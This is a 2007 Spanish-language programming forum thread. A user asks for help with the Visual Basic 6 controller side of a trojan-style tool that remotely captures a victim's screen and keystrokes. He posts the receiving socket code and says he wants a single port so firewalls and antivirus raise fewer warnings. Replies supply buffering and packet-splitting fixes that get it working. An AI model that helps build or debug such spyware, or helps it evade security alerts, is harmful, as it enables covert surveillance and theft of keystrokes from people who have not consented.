como reparto esto?

Iniciado por Belial & Grimoire, 2 Septiembre 2007, 18:52 PM

0 Miembros y 1 Visitante están viendo este tema.

Belial & Grimoire

hola

tengo un problema... estoy haciendo un programa para captar la pantalla del escritorio junto con un keylogger... como lo hacen algunos troyanos.... el problema que tengo es que no logro repartir la transferencia de datos

por ejemplo, tengo en el cliente esto


Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim nombr() As String, cad As String
ws.GetData datos
If Left(datos, 3) = "env" Then
nombr = Split(datos, "-")
cad = nombr(1)
Text1.txtEnviar = cad
End If
If Left(datos, 7) = "archivo" Then
    dato = Split(datos, "|")
    filesize = dato(1)
    redi = filesize / 20000
    redi = redi + 2
    ReDim archivo(redi)
   
    Open App.path & "\Captura.bmp" For Binary As #1
    enviaraccion "enviar"
    datos3 = ""
Else
If Len(archivo(i)) < 20000 Then
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Else
i = i + 1
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Put #1, , archivo(i - 1)
archivo(i - 1) = ""
End If
If tamaño = filesize Then
Put #1, , archivo(i)
tamaño = 0
archivo(i) = ""
Image1.Picture = LoadPicture(App.path & "\Captura.bmp")
Close #1
i = 0
End If
DoEvents
End If
End sub



El problema es que si coloco todo esto no funcionan los dos... solo funciona 1

ya que si unicamente coloco esto... el keylogger funciona


Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim nombr() As String, cad As String
ws.GetData datos
If Left(datos, 3) = "env" Then
nombr = Split(datos, "-")
cad = nombr(1)
Text1.txtEnviar = cad
End If
End sub



Y si unicamente coloco esto... puedo capturar la pantalla sin problemas...


Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos
If Left(datos, 7) = "archivo" Then
    dato = Split(datos, "|")
    filesize = dato(1)
    redi = filesize / 20000
    redi = redi + 2
    ReDim archivo(redi)
   
    Open App.path & "\Captura.bmp" For Binary As #1
    enviaraccion "enviar"
    datos3 = ""
Else
If Len(archivo(i)) < 20000 Then
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Else
i = i + 1
archivo(i) = archivo(i) + datos
tamaño = tamaño + Len(datos)
Put #1, , archivo(i - 1)
archivo(i - 1) = ""
End If
If tamaño = filesize Then
Put #1, , archivo(i)
tamaño = 0
archivo(i) = ""
Image1.Picture = LoadPicture(App.path & "\Captura.bmp")
Close #1
i = 0
End If
DoEvents
End If
End sub



Pero si coloco los dos juntos... solo puedo utilizar 1 de ellos... porke si hago una captura de pantalla todo funciona bien, pero si utilizo el keylogger me aparece un mensaje que dice que una parte de codigo esta fuera de intervalo....


If Len(archivo(i)) < 20000 Then


como puedo hacer para separarlos?...

ya utilize...


Exit Sub  ---> para separar el codigo del keylogger y del codigo para capturar la pantalla


Pero solo me deja utilizar uno de ellos...

Alguien tiene alguna idea...? Espero puedan ayudarme

Gracias   :P
.                                 

odeONeSs

Intentalo haciendolo con 2 sockets, uno para las capturas de pantalla y otro para el keyloger. Un saludo  ;D
Cambio de firma de prueba

Belial & Grimoire

hola

bueno.. de hecho asi ya lo tenia, pero lo que intento es que el programa unicamente habra un solo puerto, y que el anterior programa que tenia abria varios puertos pero los mensajes de los firewalls y antivirus te avisaban varias veces y si una vez es extraño, dos o mas es todavia mas extraño...y eso es lo que intento evitar...

o alguien sabe como puedo hacer esto sin tener que abrir tantos puertos con el socket...?
.                                 

cobein

Mira por lo que veo el problema parece estar es como manejas los datos, lo que tenes que hacer es usar un buffer antes de separarlos por que lo que envias no siempre es lo que llega.

Para darte una idea lo que podes hacer es

usar "|" para indicar el final de un paquete y a su vez un "sub" delimitador para separar la informacion dentro del paquete.

cuando llega la informacion lo que haces es ponerla en el buffer

buffer = buffer & nuevos_datos

despues lo que haces es usar la funcion datos()= split(buffer,"|")

si lo que tenes en el buffer esta "completo" que no hay un paquete por la mitad al usar el split el ultimo dato "ubound(datos)" tendria que ser vbnullstring en ese caso  lo que haces es

for i = 0 to ubound(datos)
aca iria el if left(datos(i),3)= "env"
next
buffer= vbnullstring

y si el caso es que el ultimo paquete esta incompleto  ubound(datos)<>vbnullstring lo que haces es guardarlo 

for i = 0 to ubound(datos) -1
aca iria el if left(datos(i),3)= "env"
next
buffer= ubound(datos) & "|"

Bueno espero que sea de ayuda
http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.

Belial & Grimoire

hola

hice mas o menos lo mismo y para que no interfiriera los datos ... los separe con select case y ya lo logre...

y asunto arreglado

o por lo menos hasta ahora... jeje..

gracias por la ayuda  ;D
.